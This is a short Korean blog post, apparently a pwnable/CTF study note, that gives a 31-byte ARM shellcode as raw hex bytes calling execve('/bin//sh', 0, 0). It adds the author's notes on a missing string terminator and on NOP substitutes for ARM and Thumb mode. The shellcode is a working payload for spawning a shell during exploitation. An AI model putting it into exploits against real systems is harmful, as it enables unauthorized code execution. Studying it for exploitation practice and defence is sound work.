Ref.
[Pwnable] ARM shellcode
bbolmin
2015. 2. 23. 13:48
execve
- execve("/bin//sh", 0, 0)코드. (31byte)
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\x49\x1a\xc2\x1c\x11\x71\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x2f
1. 다른 쉘코드는 execve("/bin/sh", ["/bin/sh"], 0)을 으로 인자를 주는데 굳이 "/bin/sh"의 포인터를 안주고 NULL로 줘도 상관 없는듯 ....
2. 그리고 //bin/sh 문자열 끝에 NULL을 안넣어서 쉘코드 위에 오는 더미들까지 따라 붙었음 ...ㅡ 이 부분도 수정
3. 아래 어셈코드의 opcode 데이터를 "//bin/sh"를 "/bin/sh?"로 수정해주자
nop
arm 환경에서는 따로 nop 명령어가 존재하지 않아 mov r1, r1 같은 명령어로 nop 처리.
arm mode : \x01\x10\xa0\xe1
thumb mode : \xc0\x46